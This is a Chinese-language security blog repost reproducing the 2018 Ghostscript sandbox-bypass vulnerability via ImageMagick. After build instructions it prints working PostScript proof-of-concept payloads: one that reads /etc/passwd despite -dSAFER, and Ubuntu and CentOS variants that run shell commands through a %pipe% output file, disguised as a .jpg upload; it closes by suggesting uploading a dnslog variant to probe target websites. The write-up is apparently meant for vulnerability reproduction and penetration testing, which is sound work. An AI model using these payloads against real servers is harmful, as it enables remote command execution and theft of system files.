GhostScript沙箱绕过命令执行漏洞复现

admin 2021年4月2日20:38:35评论51 views字数 3381阅读11分16秒阅读模式

一、漏洞信息

项目 描述
漏洞名称 GhostScript 沙箱绕过(命令执行)漏洞
漏洞作者 Tavis Ormandy
CVE编号 暂未分配
漏洞描述 攻击者利用此漏洞可以上传恶意构造的图像文件,当目标服务器在对图像进行裁剪、转换等处理时即会执行攻击者指定的命令。
影响范围
披露时间 2018-08-21

二、复现环境

  • OS:Ubuntu 14.10
  • Ghostscript version:9.23(当下最新版本)
  • Imagemagic version:7.0.8(当下最新版本)

三、环境搭建

3.1 安装Ghostscript

1
2
3
4
5
6
7
8
9
10
11
12
[email protected] ~$ cd /usr/local
[email protected] /usr/local$ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23.tar.gz
[email protected] /usr/local$ tar zxvf ghostscript-9.23.tar.gz
[email protected] /usr/local$ cd ghostscript-9.23
[email protected] /usr/local/ghostscript-9.23$ ./configure --prefix=/usr
[email protected] /usr/local/ghostscript-9.23$ mkdir obj
[email protected] /usr/local/ghostscript-9.23$ mkdir bin
[email protected] /usr/local/ghostscript-9.23$ make all
[email protected] /usr/local/ghostscript-9.23$ sudo make install
[email protected] /usr/local/ghostscript-9.23$ gs -v #检查是否安装成功
GPL Ghostscript 9.23 (2018-03-21)
Copyright (C) 2018 Artifex Software, Inc. All rights reserved.

3.2 安装Imagemagic

1
2
3
4
5
6
7
8
9
10
11
12
13
[email protected] /usr/local$ wget https://github.com/ImageMagick/ImageMagick/archive/7.0.8-9.tar.gz
[email protected] /usr/local$ tar zxvf 7.0.8-9.tar.gz
[email protected] /usr/local$ cd ImageMagick-7.0.8-9/
[email protected] /usr/local/ImageMagick-7.0.8-9$ ./configure --prefix=/usr
[email protected] /usr/local/ImageMagick-7.0.8-9$ make
[email protected] /usr/local/ImageMagick-7.0.8-9$ make install
[email protected] /usr/local/ImageMagick-7.0.8-9$ sudo ldconfig /usr/local/lib #使用新增的动态链接库生效
[email protected] /usr/local/ImageMagick-7.0.8-9$ convert -version #检查是否安装成功
Version: ImageMagick 7.0.8-9 Q16 i686 2018-08-26 https://www.imagemagick.org
Copyright: ? 1999-2018 ImageMagick Studio LLC
License: https://www.imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP
Delegates (built-in):

四、漏洞验证

4.1 读文件

读取/etc/passwd文件内容的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/FileToSteal (/etc/passwd) def
errordict /undefinedfilename {
FileToSteal % save the undefined name
} put
errordict /undefined {
(STOLEN: ) print
counttomark {
==only
} repeat
(n) print
FileToSteal
} put
errordict /invalidfileaccess {
pop
} put
errordict /typecheck {
pop
} put
FileToSteal (w) .tempfile
statusdict
begin
1 1 .setpagesize
end
quit

将以上poc保存为poc.ps文件,并执行以下命令。

1
gs -q -sDEVICE=ppmraw -dSAFER  poc.ps

4.2命令执行

ubuntu poc:

1
2
3
4
5
6
7
8
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

centos poc:

1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

这里我们是linux是Ubuntu发行版,故选择第一个poc进行测试。将以上poc保存为poc.jpg文件,并执行以下命令,测试对恶意图片文件进行格式转换。

1
/usr/local/bin/convert poc.jpg poc.jpg

注意: 漏洞作者的《More Ghostscript Issues: Should we disable PS coders in policy.xml by default?》这篇文章里的convert命令不是ghostscript的,而是它的上游应用。可以是imagemagick,也可以是graphicsmagick。经过测试两个软件的convert命令都存在漏洞,我们这里复测的事imagemagick。

五、总结

ghostscript的上游应用有imagemagick,libmagick,graphicsmagick,gimp,python-matplotlib,texlive-core,texmacs,latex2html,latex2rtf等,其中ImageMagick受该漏洞影响最为严重。有相当多的网站,博客,媒体平台和流行的CMS(WordPress,Drupal等)在使用ImageMagick来进行图像处理。 故在日常渗透测试中,可以上传带有dnslog测试的poc,来测试目标网站是否存在该漏洞。

参考文章

文章来源于gv7.me:GhostScript沙箱绕过命令执行漏洞复现

相关推荐: 优化批量破解shadow

一般在对客户所有linux机器进行弱口令检查时,如果在线进行破解的话,先不说影响业务,破解速率很慢,而且必须保证可以破解期间保持访问。这时将在线破解变成让客户提供shadow,我们破解shadow就有优势多了。后来k哥提供了一个批量调用john the rip…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月2日20:38:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GhostScript沙箱绕过命令执行漏洞复现https://cn-sec.com/archives/318064.html

发表评论

匿名网友 填写信息